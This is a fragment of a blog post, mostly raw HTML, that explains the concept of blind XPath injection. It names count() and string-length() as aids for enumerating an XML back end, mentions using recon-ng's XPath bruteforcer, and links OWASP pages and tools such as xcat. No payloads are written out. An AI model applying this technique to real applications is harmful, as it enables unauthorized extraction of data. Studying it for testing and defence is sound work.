src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrAQK5pbrl6TL3Bi2pad__nrgh0RHM6oqVVa_MO6-UU-A1G8idSqi4xy5GT3MmjpmQNn4xKZsvS5_QuofCAVObPiNNPvLea0BmfZKUcjvpDmO-bKIVHKF32vo5rAjyvhHQFnCbDYOgvkc8/s320/GET-DATA.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind Xpath injection" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> It`s just concept how to retrieve data from XML document using XPATH injection.XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <ul style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: none outside none; margin: 10px 0px 10px 20px; outline: none medium; padding: 0px; vertical-align: baseline;"> <li style="background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9jY0auceyiNDg68-jq7fJMEGhhEELxGtbKF6KPgSYnguAleEY3HD0J4GdLSdfUKUhYOaVAromAOj1KnHQOhUIlVYkOewkhI8WBeKcHhettx7ewUCcdIshYQ0CbiopVgxkRWO7s4D-UGw/s24/w2b_bloggerbullet.png) 0% 50% no-repeat scroll transparent; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;">count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.</li> <li style="background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9jY0auceyiNDg68-jq7fJMEGhhEELxGtbKF6KPgSYnguAleEY3HD0J4GdLSdfUKUhYOaVAromAOj1KnHQOhUIlVYkOewkhI8WBeKcHhettx7ewUCcdIshYQ0CbiopVgxkRWO7s4D-UGw/s24/w2b_bloggerbullet.png) 0% 50% no-repeat scroll transparent; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;"> string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.</li> </ul> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> I used recon-ng xpath bruteforcer for xpath injection attack & we will get back end XML file.<br style="outline: none medium;" /><br style="outline: none medium;" /><div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglg-Uw6EThDA7UyGQ3f3LldHvbquXbhQnb4Jdav4haOYCojoMqBnr5_bDqY76SwqzexU0m4XHYo7AUlX_3Sl1WRRXXaol88zvciIfTZFubA411hBErdawdSKV2NYcexZNcx_LRKVY2MaGs/s1600/Screenshot.png" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="xapth-bruteforcer" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglg-Uw6EThDA7UyGQ3f3LldHvbquXbhQnb4Jdav4haOYCojoMqBnr5_bDqY76SwqzexU0m4XHYo7AUlX_3Sl1WRRXXaol88zvciIfTZFubA411hBErdawdSKV2NYcexZNcx_LRKVY2MaGs/s320/Screenshot.png" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="xapth-bruteforcer" width="320" /></a></div> <br style="outline: none medium;" />Useful Links & Blind XPATH injection Tools:-<br style="outline: none medium;" /><br style="outline: none medium;" /><a href="https://www.owasp.org/index.php/XPATH_Injection" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">https://www.owasp.org/index.php/XPATH_Injection</a><br style="outline: none medium;" /><a href="http://www.blogger.com/goog_913170007" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><br style="outline: none medium;" /></a><a href="https://www.owasp.org/index.php/Blind_XPath_Injection" style="border: 0px; color: #222222; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">https://www.owasp.org/index.php/Blind_XPath_Injection</a><br style="outline: none medium;" /><br style="outline: none medium;" />XPATH BLIND EXPLORER:-  <a href="http://code.google.com/p/xpath-blind-explorer/downloads/list" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">http://code.google.com/p/xpath-blind-explorer/downloads/list</a><br style="outline: none medium;" /><br style="outline: none medium;" />XCAT:-  <a href="https://github.com/orf/xcat" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">https://github.com/orf/xcat</a></div> </div> </div> </div>

XPATH INJECTION TUTORIAL

XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection...

Read more »